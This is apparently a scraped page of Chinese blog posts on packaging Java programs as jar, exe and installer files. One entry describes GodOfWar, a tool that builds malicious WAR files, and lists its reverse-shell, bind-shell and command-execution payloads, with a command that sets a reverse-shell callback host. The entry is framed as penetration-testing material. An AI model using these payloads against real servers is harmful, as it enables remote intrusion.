精华内容
下载资源
问答
  • 摘要:Java源码,Android源码,Filebrowser,文件浏览器 Android教程中的实例,filebrowser文件浏览器的源码,通过本源码了解Android读写文件的实现步骤和原理,判断文件类型,以列表显示文件目录等,了解一些底层应用...
  • 一、导出jar文件:如果你的程序开发已经接近尾声了,正准备将其生成桌面可执行文件却不知道该如何操作时,你只要按照以下步骤实行即可:选中你的项目---然后右击弹出选项列表---选择Export---Java---jar file---next...

    一、导出jar文件:

    如果你的程序开发已经接近尾声了,正准备将其生成桌面可执行文件却不知道该如何操作时,你只要按照以下步骤实行即可:选中你的项目---然后右击弹出选项列表---选择Export---Java---jar file---next---browser(选择jar的存放路径)---next---next(不管太多继续下一步)---browser(选择你程序的主类--OK)---finish;查看你存放jar的目录,是否已经生成了?如果没有你一定没按照步骤操作.

    二、运行jar文件:

    生成的jar文件你可以双击运行它,但默认情况下会以压缩包的方式打开,如果这不是你想要的结果,请右击文件---打开方式---选择java(TM)platform来运行.我想这时你应该看到了你的软件界面.先恭喜你了..

    三、连同第三方文件一并导出至jar文件:

    如果你在程序开发的时候用到了第三方提供的API或者其它附属资源,在你导出生成jar文件时你必须将第三方的文件一并导出,不然你的程序运行将达不到你想要的结果.

    你可以利用Fat jar插件生成jar,Fat jar 的下载地址:http://sourceforge.net/projects/fjep/ 下载的文件是net.sf.fjep.fatjar_0.0.31.zip,解压缩后你会看到plugins文件夹中的net.sf.fjep.fatjar_0.0.31.jar文件(简称Fat jar).

    插件安装:把Fat jar文件拷贝到你的eclipse目录下的plugins中..重新启动你的eclipse平台,然后查看Window---preferences,弹出的窗口中有Fat jar preferences这一项则说明你已经安装成功了,没有这一项则未安装成功,需要多做如下几步操作:到你的eclipse目录下的configuration---org.eclipse.update,并删除platform.xml文件,然后重新启动eclipse.查看Window---preferences,你会发现Fat jar preferences这一项.恭喜你安装成功了.(未成功可直接去墙撞死)..

    用Fat jar打包:右击你的项目,选项列表中有Build Fat jar这一项,选择它,弹出的窗口你会觉得特别亲切,一目了然使用很方便,点击Browser(Main-Class选择你的主类)---next---finish(勾选你需要一起打包的资源,默认为全部勾选).瞧,jar文件就生成在你的工程项目中了.运行它,一切顺利,否则就是你编程的问题了..

    另:如果你不想用Fat jar来打包,有一个更快捷的方法可以帮助你,但也是有缺陷的.

    步骤:将你需要用到的附属文件放到你的jre安装目录下的\lib\ext目录中(安装JDK的同时也安装了jre),再通过(一、导出jar文件)的方式生成jar.这样就可以了.它有个致命的缺点就是,这样的jar文件只能在你本机可以使用,如果要在别的机子上运行必需在\lib\ext放置同样的附属资源.

    四、将jar文件转换成exe可执行文件:

    exe文件使用方便,而且还可以提高源码及资源的安全性,但同时也失去了java的初衷--跨平台性.

    如果你坚持要转换成exe文件,请按以下方式进行:

    利用exe4j这个软件转换jar文件为exe文件,exe4j下载地址:http://www.ej-technologies.com/download/exe4j/files.html,(目前最新版本为4.2)有的需要安装,有的只要解压缩即可用.我一般用安装的exe4j软件,它们没有什么区别,因此找个可以用的就行了.下载安装后,运行它,接着按步骤操作:

    1.运行后直接点Next.

    2.选择第二项“JAR in EXE mode”,之后点击Next.

    3.在General---Short name of your application框中输入你的应用程序的名字(随便即可),在Directories---Output directory框中输入生成exe后的保存路径,然后Next.

    4.在Excutable name框中输入将要生成的exe的名字,“Icon File”是应用程序显示的小图标,不选也行.继续Next.

    5.必须先配置Class-Path,点击+号添加文件,即jar文件,如果有用到其它资源需要把资源一起添加进去.

    6.General --- Main Class选择主类.

    7.Java Version --- Minimum version(低版本必须填写),Maximum version(高版本可以为空),如果都有填写那么高版本的值必须大于低版本的值.

    8.勾选Allow JREs with a beta version number以及Only allow JDKs and no JREs.接着Next.到这一步你可以直接finish.这样就把jar转换成exe文件了.你可以点击Click Here to Start the Application按钮测试生成的文件.

    展开全文
  • 一、导出jar文件:如果你的程序开发已经接近尾声了,正准备将其生成桌面可执行文件却不知道该如何操作时,你只要按照以下步骤实行即可:选中你的项目---然后右击弹出选项列表---选择Export---Java---jar file---next...

    一、导出jar文件:

    如果你的程序开发已经接近尾声了,正准备将其生成桌面可执行文件却不知道该如何操作时,你只要按照以下步骤实行即可:选中你的项目---然后右击弹出选项列表---选择Export---Java---jar file---next---browser(选择jar的存放路径)---next---next(不管太多继续下一步)---browser(选择你程序的主类--OK)---finish;查看你存放jar的目录,是否已经生成了?如果没有你一定没按照步骤操作.

    二、运行jar文件:

    生成的jar文件你可以双击运行它,但默认情况下会以压缩包的方式打开,如果这不是你想要的结果,请右击文件---打开方式---选择java(TM)platform来运行.我想这时你应该看到了你的软件界面.先恭喜你了..

    三、连同第三方文件一并导出至jar文件:

    如果你在程序开发的时候用到了第三方提供的API或者其它附属资源,在你导出生成jar文件时你必须将第三方的文件一并导出,不然你的程序运行将达不到你想要的结果.

    你可以利用Fat jar插件生成jar,Fat jar 的下载地址:http://sourceforge.net/projects/fjep/ 下载的文件是net.sf.fjep.fatjar_0.0.31.zip,解压缩后你会看到plugins文件夹中的net.sf.fjep.fatjar_0.0.31.jar文件(简称Fat jar).

    插件安装:

    (1)在eclips中安装:把Fat jar文件拷贝到你的eclipse目录下的plugins中..重新启动你的eclipse平台,然后查看Window---preferences,弹出的窗口中有Fat jar preferences这一项则说明你已经安装成功了,没有这一项则未安装成功,需要多做如下几步操作:到你的eclipse目录下的configuration---org.eclipse.update,并删除platform.xml文件,然后重新启动eclipse.查看Window---preferences,你会发现Fat jar preferences这一项.恭喜你安装成功了.(未成功可直接去墙撞死)..

    (2)在myeclips中安装:对于MyEclipse 6.5 同意放到plugins 文件夹下面。重启即可使用。 对于MyEclipse 8.6 由于软件的的更新,相应的目录页发生了变化,则需要将 net.sf.fjep.fatjar_0.0.31.jar 放到 安装目录的 dropins 文件夹下面,重启后就同样可以看到 相应的选项了。

    用Fat jar打包:右击你的项目,选项列表中有Build Fat jar这一项,选择它,弹出的窗口你会觉得特别亲切,一目了然使用很方便,点击Browser(Main-Class选择你的主类)---next---finish(勾选你需要一起打包的资源,默认为全部勾选).瞧,jar文件就生成在你的工程项目中了.运行它,一切顺利,否则就是你编程的问题了..

    (3)图例:

    开始:在你的工程项目里右键弹出下图:

    9783f71a751c89fd878a1be58bc49bb2.png

    然后Buile Fat Jar出现下图:f23aefde8965d0ea451388056c65314a.png

    再然后就Next了,又出现下图:

    d6467812abd3c44591931f84b910b245.png

    再然后就没了。在桌面上找到刚刚打包的libr.jar双击,终于成功了,酷啊!!!!

    另:如果你不想用Fat jar来打包,有一个更快捷的方法可以帮助你,但也是有缺陷的.

    步骤:将你需要用到的附属文件放到你的jre安装目录下的\lib\ext目录中(安装JDK的同时也安装了jre),再通过(一、导出jar文件)的方式生成jar.这样就可以了.它有个致命的缺点就是,这样的jar文件只能在你本机可以使用,如果要在别的机子上运行必需在\lib\ext放置同样的附属资源.

    四、将jar文件转换成exe可执行文件:

    exe文件使用方便,而且还可以提高源码及资源的安全性,但同时也失去了java的初衷--跨平台性.

    如果你坚持要转换成exe文件,请按以下方式进行:

    利用exe4j这个软件转换jar文件为exe文件,exe4j下载地址:http://www.ej-technologies.com/download/exe4j/files.html,(目前最新版本为4.2)http://download.csdn.net/source/2393519有的需要安装,有的只要解压缩即可用.我一般用安装的exe4j软件,它们没有什么区别,因此找个可以用的就行了.下载安装后,运行它,接着按步骤操作:

    1.运行后直接点Next.

    2.选择第二项“JAR in EXE mode”,之后点击Next.

    3.在General---Short name of your

    application框中输入你的应用程序的名字(随便即可),在Directories---Output

    directory框中输入生成exe后的保存路径,然后Next.

    4.在Excutable name框中输入将要生成的exe的名字,“Icon

    File”是应用程序显示的小图标,不选也行.继续Next.

    5.必须先配置Class-Path,点击+号添加文件,即jar文件,如果有用到其它资源需要把资源一起添加进去.

    6.General --- Main Class选择主类.

    7.Java Version --- Minimum version(低版本必须填写),Maximum

    version(高版本可以为空),如果都有填写那么高版本的值必须大于低版本的值.

    8.勾选Allow JREs with a beta version number以及Only allow JDKs and no

    JREs.接着Next.到这一步你可以直接finish.这样就把jar转换成exe文件了.你可以点击Click Here to

    Start the Application按钮测试生成的文件.

    到这里就完毕了,对你有没有帮助呢?我想多少解决一些人的烦恼是有的..

    分类: 学习2010-05-25 21:572033人阅读评论(4)收藏举报

    此文章是为了帮助刚接触j2se或不懂如何打包jar文件的人而着笔,同时也是让自己的知识以文章的形式保存起来.

    一、导出jar文件:

    如果你的程序开发已经接近尾声了,正准备将其生成桌面可执行文件却不知道该如何操作时,你只要按照以下步骤实行即可:选中你的项目---然后右击弹出选项列表---选择Export---Java---jar

    file---next---browser(选择jar的存放路径)---next---next(不管太多继续下一步)---browser(选择你程序的主类--OK)---finish;查看你存放jar的目录,是否已经生成了?如果没有你一定没按照步骤操作.

    二、运行jar文件:

    生成的jar文件你可以双击运行它,但默认情况下会以压缩包的方式打开,如果这不是你想要的结果,请右击文件---打开方式---选择java(TM)platform来运行.我想这时你应该看到了你的软件界面.先恭喜你了..

    三、连同第三方文件一并导出至jar文件:

    如果你在程序开发的时候用到了第三方提供的API或者其它附属资源,在你导出生成jar文件时你必须将第三方的文件一并导出,不然你的程序运行将达不到你想要的结果.

    你可以利用Fat jar插件生成jar,Fat jar 的下载地址:http://sourceforge.net/projects/fjep/ 下载的文件是net.sf.fjep.fatjar_0.0.31.zip,解压缩后你会看到plugins文件夹中的net.sf.fjep.fatjar_0.0.31.jar文件(简称Fat

    jar).

    插件安装:把Fat

    jar文件拷贝到你的eclipse目录下的plugins中..重新启动你的eclipse平台,然后查看Window---preferences,弹出的窗口中有Fat

    jar

    preferences这一项则说明你已经安装成功了,没有这一项则未安装成功,需要多做如下几步操作:到你的eclipse目录下的configuration---org.eclipse.update,并删除platform.xml文件,然后重新启动eclipse.查看Window---preferences,你会发现Fat

    jar preferences这一项.恭喜你安装成功了.(未成功可直接去墙撞死)..

    用Fat jar打包:右击你的项目,选项列表中有Build Fat

    jar这一项,选择它,弹出的窗口你会觉得特别亲切,一目了然使用很方便,点击Browser(Main-Class选择你的主类)---next---finish(勾选你需要一起打包的资源,默认为全部勾选).瞧,jar文件就生成在你的工程项目中了.运行它,一切顺利,否则就是你编程的问题了..

    另:如果你不想用Fat jar来打包,有一个更快捷的方法可以帮助你,但也是有缺陷的.

    步骤:将你需要用到的附属文件放到你的jre安装目录下的/lib/ext目录中(安装JDK的同时也安装了jre),再通过(一、导出jar文件)的方式生成jar.这样就可以了.它有个致命的缺点就是,这样的jar文件只能在你本机可以使用,如果要在别的机子上运行必需在/lib/ext放置同样的附属资源.

    四、将jar文件转换成exe可执行文件:

    exe文件使用方便,而且还可以提高源码及资源的安全性,但同时也失去了java的初衷--跨平台性.

    如果你坚持要转换成exe文件,请按以下方式进行:

    利用exe4j这个软件转换jar文件为exe文件,exe4j下载地址:http://www.ej-technologies.com/download/exe4j/files.html,(目前最新版本为4.2)http://download.csdn.net/source/2393519有的需要安装,有的只要解压缩即可用.我一般用安装的exe4j软件,它们没有什么区别,因此找个可以用的就行了.下载安装后,运行它,接着按步骤操作:

    1.运行后直接点Next.

    2.选择第二项“JAR in EXE mode”,之后点击Next.

    3.在General---Short name of your

    application框中输入你的应用程序的名字(随便即可),在Directories---Output

    directory框中输入生成exe后的保存路径,然后Next.

    4.在Excutable name框中输入将要生成的exe的名字,“Icon

    File”是应用程序显示的小图标,不选也行.继续Next.

    5.必须先配置Class-Path,点击+号添加文件,即jar文件,如果有用到其它资源需要把资源一起添加进去.

    6.General --- Main Class选择主类.

    7.Java Version --- Minimum version(低版本必须填写),Maximum

    version(高版本可以为空),如果都有填写那么高版本的值必须大于低版本的值.

    8.勾选Allow JREs with a beta version number以及Only allow JDKs and no

    JREs.接着Next.到这一步你可以直接finish.这样就把jar转换成exe文件了.你可以点击Click Here to

    Start the Application按钮测试生成的文件.

    到这里就完毕了,对你有没有帮助呢?我想多少解决一些人的烦恼是有的..

    myeclipse 安装 net.sf.fjep.fatjar 插件

    插件介绍:

    这个插件可以帮助你将自己的程序连同第三方的JAR包一起打成一整个的jar包,这样

    别人在调用你打成的jar包的时候,就不用再单独下载第三方jar文件了。详细介绍可以百度下。

    下载地址:

    安装说明:

    1:首先解压下载的文件。

    2:

    1)对与eclipse 可以将解压后的 net.sf.fjep.fatjar_0.0.31.jar 直接放到 plugins

    文件夹下面。重启后,右键单击某个工程, 就会出现“Build Fat Jar” 这个新选项。

    2)对于MyEclipse 6.5 同意放到plugins 文件夹下面。重启即可使用。

    3)对于MyEclipse 8.6 由于软件的的更新,相应的目录页发生了变化,则需要将

    net.sf.fjep.fatjar_0.0.31.jar 放到 安装目录的 dropins 文件夹下面,重启后就同样可以看到

    相应的选项了。

    展开全文
  • Browser testing TypeScript Flow Configuring Babel Using ES modules Passing arguments to your test files Testing React components Testing Vue.js components Debugging tests with Chrome DevTools ...
  • https://blog.csdn.net/qq_34129814/article/details/72990914一、导出jar文件:如果你的程序开发已经接近尾声了,正准备将其生成桌面可执行文件...--选择Export---Java---Runnable JAR file---next---browser(选择...

    https://blog.csdn.net/qq_34129814/article/details/72990914

    一、导出jar文件:

    如果你的程序开发已经接近尾声了,正准备将其生成桌面可执行文件却不知道该如何操作时,你只要按照以下步骤实行即可:选中你的项目---然后右击弹出选项列表---选择Export---Java---Runnable JAR file---next---browser(选择jar的存放路径)---browser(选择你程序的主类--OK)---finish;查看你存放jar的目录,是否已经生成了?如果没有你一定没按照步骤操作.

    二、运行jar文件:

    生成的jar文件你可以双击运行它,但默认情况下会以压缩包的方式打开,如果这不是你想要的结果,请右击文件---打开方式---选择java(TM)platform来运行.我想这时你应该看到了你的软件界面.先恭喜你了..

    三、连同第三方文件一并导出至jar文件:

    方法一:

    如果自己的java project中需要引用额外的jar包作为资源文件,那么需要自己自定义配置文件MANIFEST.MF ,内容示例如下:

    Manifest-Version: 1.0

    Class-Path: lib\crimson.jar lib\jbcl.jar lib\junit.jar lib\log4j-1.2.13.jar lib\mysql-connector-java-3.1.13-bin.jar

    Main-Class: src.YourMainClassName

    其中的Class-Paht就指定了外来jar包的位置。请注意假设我们的项目打包后为project.jar,那么按照上面的定义,应该在 project.jar的同层目录下建立一个lib文件夹,并将相关的jar包放在里面。否则将会出现Exception in thread "main" java.lang.NoClassDefFoundError的错误。

    最后介绍一下使用Eclipse制作jar包的过程吧:

    1. 首先在Eclipse中打开项目, 右键点击项目,选择“Export”;

    2. 选择Java/JAR file,Next;

    3. Select the resources to export中可以选择你想要包含的项目文件夹,一些不必要的文件夹就无需放进去了,免得增大空间;

    这里有几个选项:

    * Export generated class files and resources 表示只导出生成的.class文件和其他资源文件

    * Export all output folders for checked projects 表示导出选中项目的所有文件夹

    * Export java source file and resouces 表示导出的jar包中将包含你的源代码*.java,如果你不想泄漏源代码,那么就不要选这项了

    * Export refactorings for checked projects 把一些重构的信息文件也包含进去

    在Select the export destination中选择导出的jar的路径,Next

    4. 下一页可以选择是否导出那些含有警告warning或者错误errors的*.class文件。一般不用理他,Next

    5. 下一个页面里可以对项目做一些配置。

    * Generate the manifest file是系统帮我们自动生成MANIFEST.MF文件,如果你的项目没有引用其他class-path,那可以选择这一项。

    * Use existing mainfest from workspace。这是可以选择我们自定义的.MF文件,格式如上所写。

    * Seal content。要封装整个jar或者指定的包packet

    * Main class。这里可以选择你的程序入口,将来打包出来的jar就是你这个入口类的执行结果。

    最后Finish,搞定。

    方法二:

    如果你在程序开发的时候用到了第三方提供的API或者其它附属资源,在你导出生成jar文件时你必须将第三方的文件一并导出,不然你的程序运行将达不到你想要的结果.

    你可以利用Fat jar插件生成jar,Fat jar 的下载地址:http://sourceforge.net/projects/fjep/ 下载的文件是net.sf.fjep.fatjar_0.0.31.zip,解压缩后你会看到plugins文件夹中的net.sf.fjep.fatjar_0.0.31.jar文件(简称Fat jar).

    插件安装:把Fat jar文件拷贝到你的eclipse目录下的plugins中..重新启动你的eclipse平台,然后查看Window---preferences,弹出的窗口中有Fat jar preferences这一项则说明你已经安装成功了,没有这一项则未安装成功,需要多做如下几步操作:到你的eclipse目录下的configuration---org.eclipse.update,并删除platform.xml文件,然后重新启动eclipse.查看Window---preferences,你会发现Fat jar preferences这一项.恭喜你安装成功了.(未成功可直接去墙撞死)..

    用Fat jar打包:右击你的项目,选项列表中有Build Fat jar这一项,选择它,弹出的窗口你会觉得特别亲切,一目了然使用很方便,点击Browser(Main-Class选择你的主类)---next---finish(勾选你需要一起打包的资源,默认为全部勾选).瞧,jar文件就生成在你的工程项目中了.运行它,一切顺利,否则就是你编程的问题了..

    另:如果你不想用Fat jar来打包,有一个更快捷的方法可以帮助你,但也是有缺陷的.

    步骤:将你需要用到的附属文件放到你的jre安装目录下的\lib\ext目录中(安装JDK的同时也安装了jre),再通过(一、导出jar文件)的方式生成jar.这样就可以了.它有个致命的缺点就是,这样的jar文件只能在你本机可以使用,如果要在别的机子上运行必需在\lib\ext放置同样的附属资源.

    四、将jar文件转换成exe可执行文件:

    exe文件使用方便,而且还可以提高源码及资源的安全性,但同时也失去了java的初衷--跨平台性.

    如果你坚持要转换成exe文件,请按以下方式进行:

    利用exe4j这个软件转换jar文件为exe文件,exe4j下载地址:http://www.ej-technologies.com/download/exe4j/files.html,(目前最新版本为4.2)http://download.csdn.net/source/2393519有的需要安装,有的只要解压缩即可用.我一般用安装的exe4j软件,它们没有什么区别,因此找个可以用的就行了.下载安装后,运行它,接着按步骤操作:

    1.运行后直接点Next.

    2.选择第二项“JAR in EXE mode”,之后点击Next.

    3.在General---Short name of your application框中输入你的应用程序的名字(随便即可),在Directories---Output directory框中输入生成exe后的保存路径,然后Next.

    4.在Excutable name框中输入将要生成的exe的名字,“Icon File”是应用程序显示的小图标,不选也行.继续Next.

    5.必须先配置Class-Path,点击+号添加文件,即jar文件,如果有用到其它资源需要把资源一起添加进去.

    6.General --- Main Class选择主类.

    7.Java Version --- Minimum version(低版本必须填写),Maximum version(高版本可以为空),如果都有填写那么高版本的值必须大于低版本的值.

    8.根据实际情况勾选Allow JREs with a beta version number、Only allow JDKs and no JREs.接着Next.到这一步你可以直接finish.这样就把jar转换成exe文件了.你可以点击Click Here to Start the Application按钮测试生成的文件.

    到这里就完毕了,对你有没有帮助呢?我想多少解决一些人的烦恼是有的..

    用inno setup制作成安装包:

    1、安装并打开inno setup 软件

    ① 运行环境

    系统:Windows 7

    软件:inno setup 5.5.5

    ② 安装 inno setup 5.5.5完成后,点击 “开始”  → “所有程序” → “Inno Setup 5” → “Inno Setup” ,运行 Inno Setup 编译器;

    f85e0abd07003954f4af23c4394dc811.png

    在弹出的  “欢迎” 对话框中点击 “取消”,便可看到 Inno Setup 编译器的主界面

    6f30bb9ba097e47fdb6124b745a13a97.png

    2、按向导完成打包

    ① 在主界面菜单中,点击 “文件” → “新建”

    88d3e9f015c9aa45a09a10df3c08ccd0.png

    在弹出的 “Inno Setup 脚本向导” 对话框中点击 “下一步”

    98279e82c51b20f56ac2509706dfe46d.png

    ② 在弹出的 “应用程序信息” 对话框里填写要制作程序 “安装包” 信息,点击“下一步” 弹出 “应用程序文件夹”;

    e611d17d5ed2511206226857f39a136a.png

    “应用程序文件夹” 对话框如下图,一般默认即可,

    f53ab35dcb61e9bd020c5a5dd897c13d.png

    点击 “下一步” 弹出 “应用程序文件” 对话框,点击 “应用程序主执行文件(M)” 下的 “浏览”按钮,

    选择相应的应用程序主执行文件(TCP调试助手(V1.9).exe);

    再点击 “添加文件夹”按钮,在弹出的 “浏览文件夹”对话框选择要封装文件夹,单击“确定”

    8e00a86abcc3fe90d37888c2d4468fe5.png

    在弹出的“配置”对话框中点击“是”按钮,

    ec47c457233984577c62768b5654aa5f.png

    18fc49803b3a73739c84add15ac6fb5b.png

    ③ 选中“ E:\TCP调试助手\* ” ,点击 “编辑”按钮,便可定义刚才添加的文件夹制作成 “安装包” 之后的安装路径,一般默认即可

    320dcb1f6a7d22af642f59829a3c4e99.png

    ④ 选择完成后点击 “确定” ,然后点击 “下一步” ,弹出 “应用程序图标” 对话框,勾选 “在开始菜单文件夹中创建卸载图标(U)”

    c0186aaffeaeddfc7b4c90b78b7ac229.png

    ⑤ 点击 “下一步” ,弹出 “应用程序文档” 对话框,均可为空

    9f01ea4d08c5848a7e594a6c044e1dbb.png

    ⑥ 完成之后点击 “下一步” 弹出 “安装语言” 对话框,根据需要勾选语言

    24cf2ab557a22d6ab6436d92bd1d9f99.png

    ⑦  完成之后点击 “下一步” 弹出 “编译设置” 对话框;

    64493f0c04ab9c49035e84ffd994ac48.png

    ⑧ 点击 “下一步” 弹出 “Inno Setup 预处理器” 对话框;

    f09073acde6c661d9eb271b1085d8607.png

    点击 “下一步” 弹出 “你已经成功完成 Inno Setup 脚本向导”;

    c3fc0b5ca5dd591027bf1a03c5f38635.png

    ⑨ 点击 “完成” ,弹出 “Inno Setup 编译器” 提示窗口

    90e4268d0b8cd3db99336e54f109bd60.png

    ⑩ 编译脚本

    在前面 “Inno Setup 编译器” 提示窗口中选择 “是” ,或者在主菜单 “构建” → “编译”

    3、脚本代码示例

    6d8a0101cd58eade44d6dd9f971a4882.png

    其他脚本详情请查看 Inno Setup 帮助文档

    bb4ed70dd413d8a886d9a529a0a3d4fa.png

    展开全文
  • java面试宝典

    2013-02-28 16:04:01
    130、如何防止在JSP或SERVLET中的输出不被BROWSER保存在CACHE中? 32 131、在JSP中如何设置COOKIE? 32 132、在JSP中如何删除一个COOKIE? 32 133、在一个JSP的请求处理中如何停止JSP的执行 33 134、在JSP中如何定义...
  • java面试题以及技巧

    热门讨论 2011-11-25 20:45:30
    基于MVC的.java.web设计与开发.pdf │ 学习Struts提供的和Form相关标签.txt │ 日企编码规范.doc │ 电信盈科面试题.pdf │ 速算.txt │ 面试题URL.txt │ ├─Javascript │ │ javascript资料(源码,教材,ppt)....
  • 今天给大家介绍的是一款名叫GodOfWar的开源Java WAR构建工具,在该工具的帮助下,研究人员可以轻松向Java WAR包中嵌入恶意Payload。...功能介绍1、 已嵌入的Payload(尝试命令-l/--list)-cmd_get-filebrowser-b...

    今天给大家介绍的是一款名叫GodOfWar的开源Java WAR构建工具,在该工具的帮助下,研究人员可以轻松向Java WAR包中嵌入恶意Payload。

    d3f3a1e01743f46369a400e091f6f7c6.png

    GodOfWar采用Ruby开发,是一款专用于生成恶意WAR Payload的命令行工具,该工具仅限于渗透测试或红队研究使用。

    8716c2db20361726dda73faa9e424034.png

    功能介绍

    1、 已嵌入的Payload(尝试命令-l/--list)

    -cmd_get-filebrowser-bind_shell-reverse_shell-reverse_shell_ui

    2、可配置的后门(尝试命令--host/--port)

    3、Payload名称控制

    -修改恶意Payload名称,绕过URL签名验证机制

    工具安装

    $ gem install godofwar

    工具使用

    $godofwar -hHelpmenu:   -p, --payload PAYLOAD            利用已有Payload生成恶意WAR文件                                        (check-l/--list)   -H, --host IP_ADDR               设置指定Payload的本地或远程IP地址                                        (used with -p/--payload)   -P, --port PORT                  设置指定Payload的本地或远程端口号                                        (usedwith -p/--payload)   -o, --output [FILE]                输出文件并设置开发名称                                        (default isthe payload original name. check '-l/--list')   -l, --list                          枚举所有可用的Payload   -h, --help                        显示帮助信息

    使用样例

    枚举所有Payload:

    $godofwar -l├── cmd_get│   └── Information:│       ├── Description:Command execution via web interface│       ├── OS:          any│       ├── Settings:    {"false"=>"No Settingsrequired!"}│       ├── Usage:       http://host/cmd.jsp?cmd=whoami│       ├── References:  ["https://github.com/danielmiessler/SecLists/tree/master/Payloads/laudanum-0.8/jsp"]│       └── Local Path: /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/cmd_get├── filebrowser│   └── Information:│       ├── Description: Remotefile browser, upload, download, unzip files and native command execution│       ├── OS:          any│       ├── Settings:    {"false"=>"No Settingsrequired!"}│       ├── Usage:       http://host/filebrowser.jsp│       ├── References: ["http://www.vonloesch.de/filebrowser.html"]│       └── Local Path: /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/filebrowser├── bind_shell│   └── Information:│       ├── Description: TCPbind shell│       ├── OS:          any│       ├── Settings:    {"port"=>4444,"false"=>"No Settings required!"}│       ├── Usage:       http://host/reverse-shell.jsp│       ├── References:  ["Metasploit - msfvenom -pjava/jsp_shell_bind_tcp"]│       └── Local Path: /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/bind_shell├── reverse_shell_ui│   └── Information:│       ├── Description: TCPreverse shell with a HTML form to set LHOST and LPORT from browser.│       ├── OS:          any│       ├── Settings:    {"host"=>"attacker","port"=>4444, "false"=>"No Settingsrequired!"}│       ├── Usage:       http://host/reverse_shell_ui.jsp│       ├── References:  []│       └── Local Path: /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/reverse_shell_ui├── reverse_shell│   └── Information:│       ├── Description: TCPreverse shell. LHOST and LPORT are hardcoded│       ├── OS:          any│       ├── Settings:    {"host"=>"attacker","port"=>4444, "false"=>"No Settingsrequired!"}│       ├── Usage:       http://host/reverse_shell.jsp│       ├── References:  []│       └── Local Path: /var/lib/gems/2.5.0/gems/godofwar-1.0.1/payloads/reverse_shell
    生成Payload并配置LHOST和LPORT:
    godofwar -p reverse_shell -H 192.168.100.10 -P 9911 -o puppy

    开发完成之后,你可以进入(http://host:8080/puppy/puppy.jsp)来访问你的shell。

    添加额外后门支持

    1、 在payloads目录下创建一个新的文件夹。

    2、 把自己开发的jsp文件存放到这个文件夹中。

    3、 更新payloads_info.json文件中的下列参数:

    -文件描述

    -支持的操作系统(尽量覆盖所有操作系统)

    -配置信息:默认主机和端口号

    -引用:Payload的原始创建者信息

    项目地址

    GodOfWar:【GitHub传送门】

    许可证协议

    本项目遵循MIT开源许可证协议。

    参考来源:godofwar,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM。

    推荐阅读

    bbc29dc055b98f17fd980806343b48a4.pngead35ab4943dbf72747b2055698e3458.png301608f8384818004bb235e323a92849.png61723ef84d7c9a19ae58a9514095a2f0.pnge4abca8733b8e5bbb2e4b956381a2c3b.gif7a9b278368c658e4fdf128999a7bfaad.gif

    展开全文
  • java面试题及技巧4

    2011-11-25 20:42:35
    基于MVC的.java.web设计与开发.pdf │ 学习Struts提供的和Form相关标签.txt │ 日企编码规范.doc │ 电信盈科面试题.pdf │ 速算.txt │ 面试题URL.txt │ ├─Javascript │ │ javascript资料(源码,教材,ppt)....
  • Java生成可执行程序EXE

    2010-12-11 17:35:32
    如果你的程序开发已经接近尾声了,正准备将其生成桌面可执行文件却不知道该如何操作时,你只要按照以下步骤实行即可:选中你的项目---然后右击弹出选项列表---选择Export---Java---jar file---next---browser(选择...
  • java 面试题 总结

    2009-09-16 08:45:34
    JAVA相关基础知识 1、面向对象的特征有哪些方面 1.抽象: 抽象就是忽略一个主题中与当前目标无关的那些方面,以便更充分地注意与当前目标有关的方面。抽象并不打算了解全部问题,而只是选择其中的一部分,暂时不用...
  • java project发布成运行jar包

    千次阅读 2012-07-01 21:43:58
    如果你的程序开发已经接近尾声了,正准备将其生成桌面可执行文件却不知道该如何操作时,你只要按照以下步骤实行即可:选中你的项目---然后右击弹出选项列表---选择Export---Java---jar file---next---browser(选择...
  • java project 发布成为可运行文件

    千次阅读 2014-01-17 11:22:16
    一、导出jar文件: 如果你的程序开发已经接近尾声了,正准备将其生成桌面可执行文件却不知道该如何操作时,你只要按照以下步骤实行即可:选中你的项目---然后右击弹出选项列表---选择Export---Java---jar file---...
  • GodOfWar采用Ruby开发,是一款专用于生成恶意WAR Payload的命令行工具,该工具仅限于渗透测试...-filebrowser -bind_shell -reverse_shell -reverse_shell_ui 2、可配置的后门(尝试命令–host/–port) 3、Payload...
  • 如果你的程序开发已经接近尾声了,正准备将其生成桌面可执行文件却不知道该如何操作时,你只要按照以下步骤实行即可:选中你的项目---然后右击弹出选项列表---选择Export---Java---jar file---next---browser(选择...
  • 如果你的程序开发已经接近尾声了,正准备将其生成桌面可执行文件却不知道该如何操作时,你只要按照以下步骤实行即可:选中你的项目---然后右击弹出选项列表---选择Export---Java---jar file---next---browser(选择...
  • 如果你的程序开发已经接近尾声了,正准备将其生成桌面可执行文件却不知道该如何操作时,你只要按照以下步骤实行即可:选中你的项目---然后右击弹出选项列表---选择Export---Java---jar file---next---browser(选择...
  • idea安装阿里开发插件 比起bug,我们更怕隐藏的bug,最怕莫名其妙的错误折腾半天查不...alibaba java coding guidelines->install 3、restart idea 注意:最开始的时候在file->settings 下找不到plugins,要在id
  • 超级有影响力的Java面试题大全文档 1.抽象: 抽象就是忽略一个主题中与当前目标无关的那些方面,以便更充分地注意与当前目标有关的方面。抽象并不打算了解全部问题,而只是选择其中的一部分,暂时不用部分细节。...
  • File->new->java project 2、通过myeclipse提供数据库浏览器连接到我们的oracle数据库 Window->Open Perspective->MyEclipse Database Explorer 3、新建一个数据库的连接配置,把自己的数据库通过...
  • ORACLE OSB开发指南

    热门讨论 2012-06-18 11:28:27
    ORACLE OSB开发指南,英文版。 目录: Part I IDE Help for Oracle Service Bus 1 Introduction to Oracle Service Bus 2 Tasks Working with Projects, Folders, Resources, and Configurations .....................
  • The local CA is now installed in the Firefox trust store (requires browser restart)! $ mkcert example.com "*.example.com" example.test localhost 127.0.0.1 ::1 Created a new certificate valid for ...
  • To run Metabase via a JAR file, you will need to have a Java Runtime Environment installed on your system. We recommend the latest LTS version of JRE from AdoptOpenJDK with HotSpot JVM and x64 ...
  • ipfs-companion - The IPFS web browser extension. ipfs-webui - The IPFS WebUI app. ipfs-desktop - A menubar/tray desktop app. ipfs-gui - Coordinating development, user experience, and maintenance of...
  • 如果你的程序开发已经接近尾声了,正准备将其生成桌面可执行文件却不知道该如何操作时,你只要按照以下步骤实行即可:选中你的项目---然后右击弹出选项列表---选择Export---Java---jar file---next---browser(选择...
  • JAR package tools

    2012-05-13 09:10:27
